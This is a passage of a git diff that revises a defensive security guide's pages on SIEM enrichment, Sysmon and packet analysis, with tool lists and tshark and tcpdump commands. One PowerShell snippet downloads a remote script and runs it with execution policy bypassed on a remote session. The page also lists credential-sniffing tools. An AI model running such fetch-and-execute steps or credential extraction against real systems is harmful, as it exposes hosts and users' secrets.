management. It includes Elasticsearch, Logstash, Kibana, Suricata, Zeek, Wazuh, and many other security tools pre-configured for immediate use. -## [Splunk](https://www.splunk.com/) +## [Splunk](https://www.splunk.com/) - Splunk is the industry leader in data mining and security monitoring,. It is an incredible tool, with unparalleled ability to parse, correlate, and present your data, as well as an unparalleled price tag! +Splunk is the industry leader in data mining and security monitoring. It is an incredible tool, with unparalleled ability to parse, correlate, and present your data, as well as an unparalleled price tag! * [SplunkTools](https://github.com/dstaulcu/SplunkTools) - A collection of scripts useful in management of Splunk deployment * [Fuzzy Searching for Splunk](https://splunkbase.splunk.com/app/3109/) @@ -25,26 +27,43 @@ With most SIEMs you can add in plugins or apps that can perform a myriad of supporting functions. Some can help you normalize your data and make it CIM Compliant, some can provide more context to your data, and some can even add more options for detection and analysis. -* DNS Lookups - A simple lookup can ad much needed visibility to an investigation +* DNS Lookups - A simple lookup can add much needed visibility to an investigation * Forward lookup - Uses DNS A records to map a domain to an IP address * Reverse lookup - Uses DNS PTR records to return a domain list for a given IP address. -* WHOIS/RDAP lookups - Incredibly under used utility. Can add many helpful data points to an indicator. -* [Geolite2 Geolocation Database](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data?lang=en) - Geolite2 is a free database that gives geolocation data for the IP addresses searching within it. This is a great for looking into where your users are logging in from, or from which countries are you being attacked. This database is updated every month. If you need a more accurate query, you can pay for their premium service with runs queries against their updated database. This tool also adds ASN support which is unfortunately absence in many SIEMs. +* WHOIS/RDAP lookups - Incredibly underused utility. Can add many helpful data points to an indicator. +* [Geolite2 Geolocation Database](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data?lang=en) - Geolite2 is a free database that gives geolocation data for the IP addresses searched within it. This is great for looking into where your users are logging in from, or from which countries you are being attacked. This database is updated every month. If you need a more accurate query, you can pay for their premium service which runs queries against their updated database. This tool also adds ASN support which is unfortunately absent in many SIEMs. * Popular Domain Lists - There are many public services that will pull a list of top domains searched across the internet. While you should NOT use these as a whitelist, they are super handy for identifying oddball suspicious domains. - * [Alexa Top 1 Million Domains](https://gist.github.com/chilts/7229605) * [Majestic Millions](https://majestic.com/reports/majestic-million) * [Cisco Umbrella Top 1 Million](https://umbrella.cisco.com/blog/cisco-umbrella-1-million) -* Pre-loaded data - These are files and sets of data that can be used for reference, comparison, or enhancement. These can be white/black lists, the above domain lists, Mitre attack tables, or anything you might want to use. For easy storage and later recal, we can use a utility like [Memcached](https://memcached.org/) for storing key-value pair knowledge objects. -* Threat Intelligence - _Please see the Intelligence Section of this guide._ -* [Fuzzy Searching](https://github.com/seatgeek/fuzzywuzzy) - For SIEMs that do not have integrated fuzzy searching ability, tools like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) uses python to calculate [Levenshtien distance](https://en.wikipedia.org/wiki/Levenshtein\_distance) for fuzzy searching of strings up to a couple characters different from the searched string. +* Pre-loaded data - These are files and sets of data that can be used for reference, comparison, or enhancement. These can be white/black lists, the above domain lists, Mitre attack tables, or anything you might want to use. For easy storage and later recall, we can use a utility like [Memcached](https://memcached.org/) for storing key-value pair knowledge objects. +* Threat Intelligence - Use Cyber Intelligence for feeds, platforms, enrichment sources, and indicator reputation. + +{% content-ref url="../../cyber-intelligence/" %} +[cyber-intelligence](../../cyber-intelligence/) +{% endcontent-ref %} + +* [Fuzzy Searching](https://github.com/seatgeek/fuzzywuzzy) - For SIEMs that do not have integrated fuzzy searching ability, tools like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) uses python to calculate [Levenshtein distance](https://en.wikipedia.org/wiki/Levenshtein\_distance) for fuzzy searching of strings up to a couple characters different from the searched string. * [APIify](https://github.com/MarkBaggett/apiify) - First and foremost on the list, APIify is a fantastic tool that you can apply to just about every security tool you have that doesn't have its own API. It essentially takes any standalone Binary and wraps it into a cached web server. Super handy for being able to integrate the functions of your favorite tools into your SIEM. -* [Domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Combine this with the above APIify tool to be able to dynamically pull out useful information on your domains that might raise a security eyebrow. Honestly, every tool Mark Bagget creates is gold. +* [Domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Combine this with the above APIify tool to be able to dynamically pull out useful information on your domains that might raise a security eyebrow. Honestly, every tool Mark Baggett creates is gold. * [DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - DNSDB is a Passive DNS (pDNS) historical database that provides a unique, fact-based, multifaceted view of the configuration of the global Internet infrastructure. Wonderful tool to really dig into your DNS traffic and create some in depth detection use cases. * [DNSDB Cheatsheet](https://www.farsightsecurity.com/assets/media/download/dnsdb-cheatsheet.pdf) * [PRADS: Passive Real-time Asset Detection System](https://github.com/gamelinux/prads/) - PRADS is a tool that can passively build an asset list with useful details like operating system and open ports. When you do not have access to an asset list or CMDB from the engineering team, this can be a huge help when adding context to security investigations. * [hallucinate](https://github.com/SySS-Research/hallucinate/) - One-stop TLS traffic inspection and manipulation using dynamic instrumentation. +* [Sigma](https://github.com/SigmaHQ/sigma) - Generic Signature Format for SIEM Systems. Sigma is for log files what Snort is for network traffic. It allows you to describe relevant log events in a flexible and standardized format, allowing you to share rules across different SIEM implementations. +* [CyberChef](https://gchq.github.io/CyberChef/) - "The Cyber Swiss Army Knife". A web app for encryption, encoding, compression and data analysis. Extremely useful for decoding obfuscated data found in logs. * [phishing\_catcher](https://github.com/x0rz/phishing\_catcher) - Catch possible phishing domains in near real time by looking for suspicious TLS certificate issuances reported to the [Certificate Transparency Log (CTL)](https://www.certificate-transparency.org/) via the [CertStream](https://certstream.calidog.io/) API. * [guac](https://github.com/guacsec/guac) - Graph for Understanding Artifact Composition (GUAC) aggregates software security metadata into a high fidelity graph database—normalizing entity identities and mapping standard relationships between them. Querying this graph can drive higher-level organizational outcomes such as audit, policy, risk management, and even developer assistance. * _Threat Hunting with Elastic Stack: Enriching Data to Make Intelligence - pg. 329_ +For TheHive, Cortex, and incident-response case management, use the DFIR section. + +{% content-ref url="../../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + {% embed url="https://www.youtube.com/watch?v=lb2M7-UOqVI" %} +## Deprecated / Archived Projects + +* [MozDef: The Mozilla SIEM](https://github.com/mozilla/MozDef) - **Deprecated**. No longer maintained by Mozilla. +* [Alexa Top 1 Million Domains](https://gist.github.com/chilts/7229605) - **Retired**. Amazon retired the Alexa Internet service in May 2022. + diff --git a/blue-defense/event-detection/sysmon.md b/blue-defense/event-detection/sysmon.md index 86fbbdf..ff92f84 100644 --- a/blue-defense/event-detection/sysmon.md +++ b/blue-defense/event-detection/sysmon.md @@ -1,23 +1,54 @@ # Sysmon -### [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - -A Sysinternals tool that provides detailed information about process creations, network connections, and changes to file creation time. It is a wealth of information that can be used for a variety of purposes in Incident Response, Event Detection, and Threat Hunting. - -* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuntu available on Github. -* [Sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. -* [Sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules -* [Sysmon-config ](https://github.com/SwiftOnSecurity/sysmon-config)- SwiftOnSecurity's Sysmon configuration file template with default high-quality event tracing -* [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log. -* [SysmonSimulator](https://github.com/ScarredMonk/SysmonSimulator) - Sysmon event simulation utility which can be used to simulate the attacks to generate the Sysmon Event logs for testing the EDR detections and correlation rules by Blue teams. -* [TrustedSec Sysmon Community Guide](https://www.trustedsec.com/tools/trustedsec-sysmon-community-guide/) - Everything Dave Kennedy writes/makes is gold. It is the way. -* [Sysmon Threat Analysis Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) [Splunking the Endpoint: Threat Hunting with Sysmon](https://haggis-m.medium.com/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) -* [Espy](https://github.com/activecm/espy/): Endpoint detection for remote hosts for consumption by RITA and Elasticsearch -* [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) -* [NXLog-Autoconfig](https://github.com/SMAPPER/NXLog-AutoConfig) - With no customisation, the script will install Sysmon with the [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) config, generate a NXLog config to start pulling the Sysmon and Windows Security events. -* [https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html](https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html) -* [https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf](https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf) - -### Sysmon event types and their fields +### [Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) + +System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. It is a critical data source for Incident Response, Event Detection, and Threat Hunting. + +## Configuration & Tools + +* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuntu available on GitHub. +* [Sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration, and detection logic utilizing Microsoft Sysmon. +* [Sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules for granular control. +* [Sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - SwiftOnSecurity's Sysmon configuration file template with default high-quality event tracing. +* [SysmonSimulator](https://github.com/ScarredMonk/SysmonSimulator) - Sysmon event simulation utility used to simulate attacks and generate Sysmon Event logs for testing EDR detections and correlation rules. +* [SysmonView](https://github.com/nokeeko/SysmonView) - An off-line Sysmon log visualization tool. +* [SysmonShell](https://github.com/nokeeko/SysmonShell) - A GUI tool for creating and editing Sysmon configuration files. +* [Espy](https://github.com/activecm/espy/) - Endpoint detection for remote hosts for consumption by RITA and Elasticsearch. + +## Legacy / Archived Projects + +* [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log. (Note: Project appears unmaintained and may not support newer Sysmon schemas). +* [NXLog-Autoconfig](https://github.com/SMAPPER/NXLog-AutoConfig) - Script to install Sysmon with the [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) config. (Note: Project appears unmaintained). + +## Guides & Resources + +* [TrustedSec Sysmon Community Guide](https://www.trustedsec.com/tools/trustedsec-sysmon-community-guide/) - Comprehensive guide on Sysmon configuration and usage. +* [Sysmon Threat Analysis Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) - Guide on using Sysmon for threat detection. +* [Splunking the Endpoint: Threat Hunting with Sysmon](https://haggis-m.medium.com/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) - Blog post on using Splunk and Sysmon for threat hunting. +* [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) - Visual map of Sysmon API to events. +* [Sysmon Cheatsheet](https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf) - A quick reference cheatsheet for Sysmon. + +For endpoint and command-line detection ideas that use Sysmon data, see these detection use-case pages. + +{% content-ref url="detection-use-cases/endpoint.md" %} +[endpoint.md](detection-use-cases/endpoint.md) +{% endcontent-ref %} + +{% content-ref url="detection-use-cases/command-line.md" %} +[command-line.md](detection-use-cases/command-line.md) +{% endcontent-ref %} + +### Key Sysmon Event IDs + +* **Event ID 1**: Process Creation +* **Event ID 3**: Network Connection +* **Event ID 7**: Image Loaded +* **Event ID 8**: CreateRemoteThread +* **Event ID 11**: File Create +* **Event ID 12, 13, 14**: Registry Events (Create/Delete, Value Set, Rename) +* **Event ID 15**: FileCreateStreamHash +* **Event ID 22**: DNS Query + +### Sysmon Event Types and Fields ![](<../../.gitbook/assets/image (24).png>) diff --git a/blue-defense/packet-analysis.md b/blue-defense/packet-analysis.md index db5666f..c2a68d9 100644 --- a/blue-defense/packet-analysis.md +++ b/blue-defense/packet-analysis.md @@ -1,16 +1,19 @@ # Packet Analysis -## **Basics of Packet capture** +## **Basics of Packet Capture** -Raw network traffic can be captured and stored for later analysis via a process called packet capture. This a format that captures all network traffic from a given source, and organizes it by time and packet number so that all details of the traffic, from contents to metadata, can be parseable for analysis. +Raw network traffic can be captured and stored for later analysis via a process called packet capture. This is a format that captures all network traffic from a given source, and organizes it by time and packet number so that all details of the traffic, from contents to metadata, can be parseable for analysis. -Raw packet captures are a staple for security analysis since they can be a complete log source, potentially storing all traffic traversing a device/interface at a given time. This granular level of detail can provide answers that no other log source can. The drawback to packet captures, is the storage. When capturing all data from a given device/interface, the data can total to incredible volumes in a short time, which can cause issues when working with limited storage capacity. +Raw packet captures are a staple for security analysis since they can be a complete log source, potentially storing all traffic traversing a device/interface at a given time. This granular level of detail can provide answers that no other log source can. The drawback to packet captures is the storage. When capturing all data from a given device/interface, the data can total to incredible volumes in a short time, which can cause issues when working with limited storage capacity. **Terms** * PCAP - Standard file format for packet captures. * BPF - Stands for Berkeley Packet Filters. BPF syntax is used in packet analyzers like Wireshark to filter out specific packets from a capture during network analysis. It can also be used in a Linux terminal through tools like tcpdump. * Libpcap - The most common library used by other programs to read packet capture files. +* Five-Tuple - The core set of five values that identify a TCP/IP connection: Source IP, Source Port, Destination IP, Destination Port, and Protocol. +* Promiscuous Mode - A mode for a network interface controller (NIC) that causes the controller to pass all traffic it receives to the central processing unit (CPU) rather than passing only the frames meant for that interface. +* NetFlow/IPFIX - A protocol for collecting metadata about IP traffic flows as they traverse a network device. Unlike full packet capture, it stores summary data (who, what, where, when, how much). ## Capture and Indexing Tools @@ -20,13 +23,22 @@ Raw packet captures are a staple for security analysis since they can be a compl * [Awesome Collection: Pcap Tools](https://github.com/caesar0301/awesome-pcaptools) * [Arkime (Moloch)](https://github.com/arkime/arkime) - Arkime augments your current security infrastructure to store and index network traffic in standard PCAP format, providing fast, indexed access. +* [Zeek (formerly Bro)](https://zeek.org/) - A powerful network analysis framework that observes network traffic to generate high-fidelity transaction logs, file content, and fully-customized output. * [Stenographer by Google](https://github.com/google/stenographer) - A full-packet-capture utility for buffering packets to disk for intrusion detection and incident response purposes. It provides a high-performance implementation of NIC-to-disk packet writing, handles deleting those files as disk fills up, and provides methods for reading back specific sets of packets quickly and easily. * [CapMe](https://github.com/Security-Onion-Solutions/security-onion/wiki/CapMe) - The Web Interface for easy interaction with packet captures, located within Security Onion. -* [NTOP](https://www.ntop.org/) - Handy an flexible tool stack that can create packet captures, netflow logs, and network probes for recording traffic of different types. +* [NTOP / ntopng](https://www.ntop.org/) - Handy and flexible tool stack that can create packet captures, netflow logs, and network probes for recording traffic of different types. `ntopng` is the modern, high-speed version of the original `ntop`. +* [Fprobe](https://github.com/digitalocean/fprobe) - libpcap-based tool that collects network traffic and exports it as NetFlow. +* [YAF](https://tools.netsa.cert.org/yaf/) - Yet Another Flowmeter; processes PCAP or live traffic into bidirectional IPFIX flows. +* [SiLK](https://tools.netsa.cert.org/silk/) - CERT NetSA flow analysis toolkit for large-scale network traffic analysis. + * [SiLK Analysis Handbook](https://tools.netsa.cert.org/silk/analysis-handbook.pdf) +* [super_mediator](https://tools.netsa.cert.org/super_mediator/) - IPFIX mediator commonly used with YAF and SiLK workflows. +* [OpenArgus](https://openargus.org/) - Real-time flow monitor for comprehensive network traffic auditing. * [Dumpcap](https://www.wireshark.org/docs/man-pages/dumpcap.html) **-** Tool included with Wireshark for simple capture of packet data and writing to a disk. -* [Daemon Logger](https://github.com/Cisco-Talos/Daemonlogger) - Simple packet logging & soft tap daemon. -* [Netsniff-ng](http://netsniff-ng.org/) - A fast network analyzer based on packet mmap(2) mechanisms. It can record pcap files to disc, replay them and also do an offline and online analysis. -* _Attacking Network Protocols: Ch.2 Capturing Application Traffic - pg.11_ +* [Netsniff-ng](http://netsniff-ng.org/) - A fast network analyzer based on packet mmap(2) mechanisms. It can record pcap files to disk, replay them and also do an offline and online analysis. +* [URLSnarf](https://linux.die.net/man/8/urlsnarf) - Extracts requested URLs from HTTP traffic. +* [httpry](https://github.com/jbittel/httpry) - Captures and logs HTTP traffic for later analysis. +* [justniffer](https://onotelli.github.io/justniffer/) - Network protocol analyzer that can produce web-server-like logs from captured HTTP traffic. +* _Attacking Network Protocols: Ch. 2 Capturing Application Traffic - pg. 11_ @@ -38,18 +50,29 @@ Raw packet captures are a staple for security analysis since they can be a compl This can be done in a few ways: -Man-in-the-middle (MITM) +Man-in-the-middle (MITM) interception is primarily a web application testing and offensive security topic. For defensive packet analysis, focus on decrypting traffic you are authorized to inspect with keys or session secrets. -* [MITM Through SSLStrip](https://github.com/moxie0/sslstrip) -* [MITM Through mitmproxy](https://mitmproxy.org/) +{% content-ref url="../web-app-hacking/attacks-and-vulnerabilities/" %} +[attacks-and-vulnerabilities](../web-app-hacking/attacks-and-vulnerabilities/) +{% endcontent-ref %} -[Using the (Pre)-Master-Secret SSLKEYLOGFILE](https://wiki.wireshark.org/TLS#Using\_the\_.28Pre.29-Master-Secret) [Using an RSA Private Key](https://docs.microsoft.com/en-us/archive/blogs/nettracer/decrypting-ssltls-sessions-with-wireshark-reloaded) +Using Keys/Secrets: + +* [Using the (Pre)-Master-Secret SSLKEYLOGFILE](https://wiki.wireshark.org/TLS#Using\_the\_.28Pre.29-Master-Secret) +* [Using an RSA Private Key](https://docs.microsoft.com/en-us/archive/blogs/nettracer/decrypting-ssltls-sessions-with-wireshark-reloaded) +## Common Analysis Techniques + +* **Traffic Baselining** - Establishing a pattern of "normal" network behavior (volume, protocols, times) to easily identify anomalies. +* **Beaconing Detection** - Identifying regular, periodic communication intervals often used by malware C2 (Command & Control) channels. +* **TLS Fingerprinting (JA3)** - A method for creating fingerprints for SSL/TLS client applications (like malware or valid tools) based on the fields in the Client Hello packet. +* **Protocol Hierarchy Analysis** - Examining the distribution of protocols to identify non-standard port usage (e.g., HTTP on port 443) or unexpected protocols (e.g., IRC). + ## PCAP Analysis Tools -### [**Wireshark**](https://www.wireshark.org/#download) **** +### [**Wireshark**](https://www.wireshark.org/#download) The world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. @@ -87,16 +110,28 @@ Command line version of Wireshark * [Beginners Guide to TShark (Part 1)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-1/) * [Beginners Guide to TShark (Part 2)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-2/) * [Beginners Guide to TShark (Part 3)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-3/) -* [https://tryhackme.com/room/tshark](https://tryhackme.com/room/tshark) +* TryHackMe's TShark room is preserved in Training. {% endtab %} {% tab title="Basic Commands" %} -* \#tshark -r \[file] -* \#tshark -r \[file] -Y \[wireshark display filter] - * The -Y options specifies a display filter to help organize packet captures and filter out specific data such as protocols or host information. -* \#tshark- r \[file] -Y \[wireshark display filter] -T fields -e \[field] - * You can further filter the packets using the -tfields and -e option. With these you can specify different layers of filters using Wireshark syntax. -T determines the format of the text output of tshark, -e will allow you to specify different fields of a packet to be printed. -* \#tshark -r \[file] tcp.port == 80 || udp.port == 80 +* Read a file: + ```bash + tshark -r [filename] + ``` +* Read with a display filter: + ```bash + tshark -r [filename] -Y [wireshark display filter] + ``` + * The `-Y` option specifies a display filter to help organize packet captures and filter out specific data such as protocols or host information. +* Read with specific fields output: + ```bash + tshark -r [filename] -Y [wireshark display filter] -T fields -e [field] + ``` + * You can further filter the packets using the `-T fields` and `-e` option. With these you can specify different layers of filters using Wireshark syntax. `-T` determines the format of the text output of tshark, `-e` will allow you to specify different fields of a packet to be printed. +* Complex filter example: + ```bash + tshark -r [filename] "tcp.port == 80 || udp.port == 80" + ``` * Display filters also use BPF syntax, can be applied after the capture and can be extremely useful when used correctly. Display/BPF filters use primitives in the arguments (&&, ||, !). * [https://linux.die.net/man/1/tshark](https://linux.die.net/man/1/tshark) * [https://hackertarget.com/tshark-tutorial-and-filter-examples/](https://hackertarget.com/tshark-tutorial-and-filter-examples/) @@ -110,33 +145,35 @@ Command line version of Wireshark Note: [mergecap](https://www.wireshark.org/docs/man-pages/mergecap.html) -``` -mergecap //*.pcap -w //capture.pcap +```bash +mergecap /*.pcap -w /capture.pcap ``` ### List Unique IP Sources in Pcap -``` +```bash tshark -T fields -r 'capture.pcap' -e ip.src | sort -u ``` ### List Unique IP Sources and Destination for HTTP traffic -``` +```bash tshark -T fields -r 'capture.pcap' -e ip.src -e ip.dst -Y "http" | sort -u ``` ### Live DNS Request and Responses on WiFi -``` -tshark -i wlan0 -T fields -f "src port 53" -n -e dns.qry.name -e dns.resp.addr +**Note**: Replace `wlan0` with your active interface identifier (e.g., `en0` on macOS, `Ethernet` on Windows, or `wlp2s0` on Linux). + +```bash +tshark -i wlan0 -T fields -f "src port 53" -n -e dns.qry.name -e dns.resp.addr ``` ### Extract All Objects/Files from Supported Protocols Note: This will create a folder called ‘exported’ and put the results in there -``` +```bash tshark -r 'capture.pcap' --export-objects http,exported tshark -r 'capture.pcap' --export-objects dicom,exported tshark -r 'capture.pcap' --export-objects imf,exported @@ -146,13 +183,13 @@ tshark -r 'capture.pcap' --export-objects tftp,exported ### List URIs Accessed -``` +```bash tshark -T fields -r capture.pcap -e http.host -e ip.dst -e http.request.full_uri -Y "http.request" ``` ### Get HTTP POST Requests and Output to JSON -``` +```bash tshark -T json -r capture.pcap -Y "http.request.method == POST" ``` {% endtab %} @@ -160,7 +197,7 @@ tshark -T json -r capture.pcap -Y "http.request.method == POST" ### **TCPDump** -**A** command line packet analysis tool. +A command line packet analysis tool. {% tabs %} {% tab title="Guides" %} @@ -170,20 +207,26 @@ tshark -T json -r capture.pcap -Y "http.request.method == POST" {% endtab %} {% tab title="Basic Commands" %} -* \#tcpdump -r \[filename.pcapng] host \[IPADDRESS] - * display all packets transferred to and from a specified IP address. -* \#tcpdump -r \[filename.pcapng] -w \[filename] - * output your results into a specified file type such as csv or txt +* Filter by host IP: + ```bash + tcpdump -r [filename.pcapng] host [IPADDRESS] + ``` + * Display all packets transferred to and from a specified IP address. +* Write to file: + ```bash + tcpdump -r [filename.pcapng] -w [filename] + ``` + * Output your results into a specified file type such as pcap, csv, or txt. {% endtab %} {% tab title="Filtering Traffic" %} -* Using awk and sort\ - ▪ #sudo tcpdump -n -r File.pcap | awk -F" " '{print $3}' | sort | uniq -c | head -* \-n skip dns resolution -* \-r read from pcap file -* awk - printing out desired output (the third space-separated field) -* sort and uniq -c - sort and count the number of times the first appears in the capture. -* head - show only the first 10 lines of the output +* Using awk and sort + * `#sudo tcpdump -n -r File.pcap | awk -F" " '{print $3}' | sort | uniq -c | head` +* `-n` - skip dns resolution +* `-r` - read from pcap file +* `awk` - printing out desired output (the third space-separated field) +* `sort` and `uniq -c` - sort and count the number of times the first appears in the capture. +* `head` - show only the first 10 lines of the output * Use “src host \[ip]”, “dst host \[ip]”, “port \[port]” * [https://www.tcpdump.org/manpages/tcpdump.1.html](https://www.tcpdump.org/manpages/tcpdump.1.html) * [http://alumni.cs.ucr.edu/\~marios/ethereal-tcpdump.pdf](http://alumni.cs.ucr.edu/\~marios/ethereal-tcpdump.pdf) @@ -197,26 +240,48 @@ tshark -T json -r capture.pcap -Y "http.request.method == POST" ### NGREP -**C**ommand line packet analysis tool which enables users to search for words and phrases at the network layer. - -* Basic use - * \#ngrep -I \[pcapfile] - * \#ngrep -I ngrep.pcap "POST" -* Filters - ngrep understands BPF syntax, which can be applied alongside the pattern match. - * \#ngrep -I ngrep.pcap "POST" host ‘192.168.1.1’ +Command line packet analysis tool which enables users to search for words and phrases at the network layer. + +* **Basic use** + ```bash + ngrep -I [pcapfile] + ``` +* **Search for "POST" method** + ```bash + ngrep -I ngrep.pcap "POST" + ``` +* **Filters** - ngrep understands BPF syntax, which can be applied alongside the pattern match. + ```bash + ngrep -I ngrep.pcap "POST" host '192.168.1.1' + ``` ### Online Packet Capture Analyzers * [APackets](https://apackets.com/) - Web utility that can analyze pcap files to view HTTP headers and data, extract transferred binaries, files, office documents, pictures. -* [PacketTotal ](https://packettotal.com/)- PacketTotal is an engine for analyzing, categorizing, and sharing .pcap files. The tool was built with the InfoSec community in mind and has applications in malware analysis and network forensics. +* [PacketTotal](https://packettotal.com/) - PacketTotal is an engine for analyzing, categorizing, and sharing .pcap files. The tool was built with the InfoSec community in mind and has applications in malware analysis and network forensics. ## Powershell Packet Capture -#### PCAP collection +**Modern Alternative: PktMon (Windows 10/11)** -\*Note: Script and pcap should be located under: C:\Windows\System32 or your user directory. +Recent versions of Windows include a built-in packet monitor tool called `PktMon`. This is generally preferred over custom PowerShell scripts for basic capture needs without third-party tools. + +```powershell +# Start capturing all traffic on all ports +pktmon start --etw -p 0 -c 16 +# Stop capture +pktmon stop + +# Convert the resulting .etl log to .pcapng for Wireshark analysis +pktmon pcapng log.etl -o log.pcapng ``` + +#### Legacy PowerShell Script Method + +\*Note: Script and pcap should be located under: C:\Windows\System32 or your user directory. + +```powershell Invoke-Command -ScriptBlock {ipconfig} -Session $s1 Invoke-Command -ScriptBlock { @@ -224,29 +289,35 @@ $url = "https://raw.githubusercontent.com/nospaceships/raw-socket-sniffer/master Invoke-WebRequest -Uri $url ` -OutFile "raw-socket-sniffer.ps1" PowerShell.exe -ExecutionPolicy bypass .\raw-socket-sniffer.ps1 ` - -InterfaceIp "[RemoteIPv4Address] + -InterfaceIp "[RemoteIPv4Address]" ` -CaptureFile "capture.cap" } -Session $s1 ``` ## **Other Tools** -* [Brim](https://github.com/brimdata/brim) - Desktop application to efficiently search large packet captures and Zeek logs. +* [Zui (formerly Brim)](https://zui.brimdata.io/) - Desktop application to efficiently search large packet captures and Zeek logs. * [BruteShark](https://github.com/odedshimon/BruteShark) - BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack. -* [Net-creds](https://github.com/DanMcInerney/net-creds) - Sniffs sensitive data from interface or pcap -* [PCredz ](https://github.com/lgandx/PCredz)- This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface. -* [chaosreader](https://www.kali.org/tools/chaosreader/) - Chaosreader traces TCP/UDP/others sessions and fetches application data from snoop or tcpdump logs (or other libpcap compatible programs). This is a type of “any-snarf” program, as it will fetch telnet sessions, FTP files, HTTP transfers (HTML, GIF, JPEG etc) and SMTP emails from the captured data inside network traffic logs. -* [PacketTotal](https://packettotal.com/app/search) — .pcap files (Packet Capture of network data) search engine and analyze tool. Search by URL, IP, file hash, network indicator, view timeline of dns-queries and http-connections, download files for detailed analyze. +* [PCredz](https://github.com/lgandx/PCredz) - This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface. * [NetworkMiner](https://www.netresec.com/?page=NetworkMiner) - NetworkMiner is an [open source](https://www.netresec.com/?page=NetworkMinerSourceCode) Network Forensic Analysis Tool (NFAT) for Windows (but also [works in Linux](https://www.netresec.com/?page=Blog\&month=2014-02\&post=HowTo-install-NetworkMiner-in-Ubuntu-Fedora-and-Arch-Linux) / [Mac OS X](https://netresec.com/?b=146F525) / [FreeBSD](https://netresec.com/?b=11C135E)). NetworkMiner can be used as a passive network sniffer/packet capturing tool in order to detect operating systems, sessions, hostnames, open ports etc. without putting any traffic on the network. NetworkMiner can also parse PCAP files for off-line analysis and to regenerate/reassemble transmitted files and certificates from PCAP files. +## **Legacy / Deprecated Tools** + +* [Daemon Logger](https://github.com/Cisco-Talos/Daemonlogger) - Simple packet logging & soft tap daemon. Project is largely unmaintained. +* [Net-creds](https://github.com/DanMcInerney/net-creds) - Sniffs sensitive data from interface or pcap. Last updated ~2019, reliant on Python 2. +* [Chaosreader](https://www.kali.org/tools/chaosreader/) - Chaosreader traces TCP/UDP/others sessions and fetches application data. It is an older tool (Perl-based) that has largely been superseded by tools like Wireshark/TShark "Export Objects". + ## **Resources** * Sans cheatsheets for analyzing packet captures - [https://wiki.sans.blue/#!Packets.md](https://wiki.sans.blue/#!Packets.md) +* [Malware Traffic Analysis](https://www.malware-traffic-analysis.net/) - A comprehensive source for traffic analysis exercises and tutorials. * [https://www.sans.org/reading-room/whitepapers/tools/extracting-files-network-packet-captures-36562](https://www.sans.org/reading-room/whitepapers/tools/extracting-files-network-packet-captures-36562) * [Detecting Network Attacks with Wireshark - InfosecMatter](https://www.infosecmatter.com/detecting-network-attacks-with-wireshark/) -* Hack-the-box Packet Analysis Course - [https://academy.hackthebox.eu/course/preview/intro-to-network-traffic-analysis](https://academy.hackthebox.eu/course/preview/intro-to-network-traffic-analysis) +* Hack The Box packet analysis training is preserved in Training. * [https://dfirmadness.com/case-001-pcap-analysis/](https://dfirmadness.com/case-001-pcap-analysis/) -* [https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/](https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/) +* Antisyphon packet 